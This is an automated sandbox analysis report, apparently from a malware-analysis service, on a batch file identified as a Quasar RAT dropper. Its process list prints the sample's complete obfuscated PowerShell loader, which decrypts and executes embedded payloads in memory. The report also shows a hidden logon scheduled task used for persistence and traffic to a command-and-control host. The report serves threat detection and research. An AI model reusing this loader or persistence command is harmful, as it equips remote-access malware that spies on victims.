Malware Analysis Report

2024-08-06 11:49

Sample ID 240609-v1trtsch5y
Target 5vFnUTA.bat
SHA256 f1ebb419ee0133174b64a7668c750f87367970971daaffdf1f85328c4875d9e6
Tags
quasar slave execution spyware trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

f1ebb419ee0133174b64a7668c750f87367970971daaffdf1f85328c4875d9e6

Threat Level: Known bad

The file 5vFnUTA.bat was found to be: Known bad.

Malicious Activity Summary

quasar slave execution spyware trojan

Quasar RAT

Quasar payload

Command and Scripting Interpreter: PowerShell

Looks up external IP address via web service

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Privilege Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Discovery
TA0007
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-09 17:28

Signatures

N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-09 17:27

Reported

2024-06-09 17:41

Platform

win10v2004-20240226-en

Max time kernel

15s

Max time network

157s

Command Line

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5vFnUTA.bat"

Signatures

Quasar RAT

trojan spyware quasar

Quasar payload

Description Indicator Process Target
N/A N/A N/A N/A

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Processes

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5vFnUTA.bat"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lfqvBn8hofubXSZmsKmV83W9/qxpo9rugEdXZEomQLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bUSTj74gvGgYEhrqOpYzuQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IoSqq=New-Object System.IO.MemoryStream(,$param_var); $WqTdq=New-Object System.IO.MemoryStream; $NwpAs=New-Object System.IO.Compression.GZipStream($IoSqq, [IO.Compression.CompressionMode]::Decompress); $NwpAs.CopyTo($WqTdq); $NwpAs.Dispose(); $IoSqq.Dispose(); $WqTdq.Dispose(); $WqTdq.ToArray();}function execute_function($param_var,$param2_var){ $nzMDD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RfEIj=$nzMDD.EntryPoint; $RfEIj.Invoke($null, $param2_var);}$LVpLY = 'C:\Users\Admin\AppData\Local\Temp\5vFnUTA.bat';$host.UI.RawUI.WindowTitle = $LVpLY;$UqrjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LVpLY).Split([Environment]::NewLine);foreach ($uWetJ in $UqrjN) { if ($uWetJ.StartsWith('gXDGnOjJvtwCvUiJRmac')) { $KAIJT=$uWetJ.Substring(20); break; }}$payloads_var=[string[]]$KAIJT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName '$phantom-RuntimeBroker_startup_347_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force

C:\Windows\System32\WScript.exe

"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.vbs"

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.bat" "

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4088 --field-trial-handle=2676,i,447940133669489189,1353734109898858672,262144 --variations-seed-version /prefetch:8

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('lfqvBn8hofubXSZmsKmV83W9/qxpo9rugEdXZEomQLQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('bUSTj74gvGgYEhrqOpYzuQ=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $IoSqq=New-Object System.IO.MemoryStream(,$param_var); $WqTdq=New-Object System.IO.MemoryStream; $NwpAs=New-Object System.IO.Compression.GZipStream($IoSqq, [IO.Compression.CompressionMode]::Decompress); $NwpAs.CopyTo($WqTdq); $NwpAs.Dispose(); $IoSqq.Dispose(); $WqTdq.Dispose(); $WqTdq.ToArray();}function execute_function($param_var,$param2_var){ $nzMDD=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $RfEIj=$nzMDD.EntryPoint; $RfEIj.Invoke($null, $param2_var);}$LVpLY = 'C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.bat';$host.UI.RawUI.WindowTitle = $LVpLY;$UqrjN=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($LVpLY).Split([Environment]::NewLine);foreach ($uWetJ in $UqrjN) { if ($uWetJ.StartsWith('gXDGnOjJvtwCvUiJRmac')) { $KAIJT=$uWetJ.Substring(20); break; }}$payloads_var=[string[]]$KAIJT.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden

Network

Country Destination Domain Proto
US 8.8.8.8:53 196.249.167.52.in-addr.arpa udp
US 8.8.8.8:53 203.107.17.2.in-addr.arpa udp
US 8.8.8.8:53 134.32.126.40.in-addr.arpa udp
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
US 8.8.8.8:53 232.168.11.51.in-addr.arpa udp
GB 96.16.110.114:80 tcp
US 8.8.8.8:53 28.118.140.52.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 183.142.211.20.in-addr.arpa udp
US 8.8.8.8:53 56.126.166.20.in-addr.arpa udp
GB 142.250.187.202:443 tcp
US 8.8.8.8:53 164.189.21.2.in-addr.arpa udp
US 8.8.8.8:53 172.210.232.199.in-addr.arpa udp
NL 52.142.223.178:80 tcp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 runderscore00-61208.portmap.host udp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
US 8.8.8.8:53 13.227.111.52.in-addr.arpa udp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp
US 8.8.8.8:53 210.80.50.20.in-addr.arpa udp
DE 193.161.193.99:61208 runderscore00-61208.portmap.host tcp

Files

memory/552-0-0x00007FFC8BE03000-0x00007FFC8BE05000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ot5oopac.rty.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/552-1-0x000001C47B710000-0x000001C47B732000-memory.dmp

memory/552-11-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

memory/552-12-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

memory/552-13-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

memory/552-14-0x000001C47BB40000-0x000001C47BB84000-memory.dmp

memory/552-15-0x000001C47BC10000-0x000001C47BC86000-memory.dmp

memory/552-16-0x000001C47B340000-0x000001C47B348000-memory.dmp

memory/552-17-0x000001C47BB90000-0x000001C47BC00000-memory.dmp

memory/2308-24-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

memory/2308-29-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

memory/2308-30-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

memory/2308-33-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 661739d384d9dfd807a089721202900b
SHA1 5b2c5d6a7122b4ce849dc98e79a7713038feac55
SHA256 70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf
SHA512 81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.vbs

MD5 36ef0f6a012ffbc95112b49b43bed054
SHA1 7de026eddb823fc7a78a0cf55e457402f668b49a
SHA256 64c9e1794fbbc7a3a3268b2ec6965acc759cbd271d58bdd77a385cbc779dc100
SHA512 4411679ecd5f02a19c2ec759f7971bac339be539167d37dc21a56e5a84db333bdaf9137a7d665e8c22be1e52938d5ab6a39e24a03898eedd12563c78b143c6c0

C:\Users\Admin\AppData\Roaming\$phantom-startup_str_347.bat

MD5 a5544eeb7a29ad5fccfd082c916be054
SHA1 ed1ea8adfa4cfd813a00c699e4ef19971a3aa51d
SHA256 f56a778ea5541ce7c72bf227f9200bb6fb7c42a062cdf050bf5283a58d074141
SHA512 e26ef83c7b5beddf4b2652f2dcccba675db7c7a6aa253a3819935ec23e9f0ee791de7dda4a1265220a38ab3d253f816f9578d0eac086c44cb1acffdc8fd5e006

memory/552-41-0x00007FFC8BE00000-0x00007FFC8C8C1000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

MD5 005bc2ef5a9d890fb2297be6a36f01c2
SHA1 0c52adee1316c54b0bfdc510c0963196e7ebb430
SHA256 342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d
SHA512 f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

memory/3380-52-0x0000000003380000-0x00000000033AA000-memory.dmp

memory/3380-86-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1176-87-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1488-94-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1164-98-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/2540-99-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1368-112-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1516-111-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1280-103-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1656-102-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/4280-109-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1888-108-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/2692-107-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1328-106-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/464-104-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/3264-101-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/4884-100-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1272-97-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/2664-93-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/884-96-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1072-115-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/2260-110-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/936-105-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/4700-114-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1348-113-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/2580-95-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/768-90-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/2148-88-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1896-92-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1140-91-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/1756-89-0x00007FFC6CE30000-0x00007FFC6CE40000-memory.dmp

memory/4872-152-0x000002A6B2A40000-0x000002A6B2A9E000-memory.dmp

memory/4872-153-0x000002A6A2480000-0x000002A6A2492000-memory.dmp

memory/4872-154-0x000002A6B2EE0000-0x000002A6B2F1C000-memory.dmp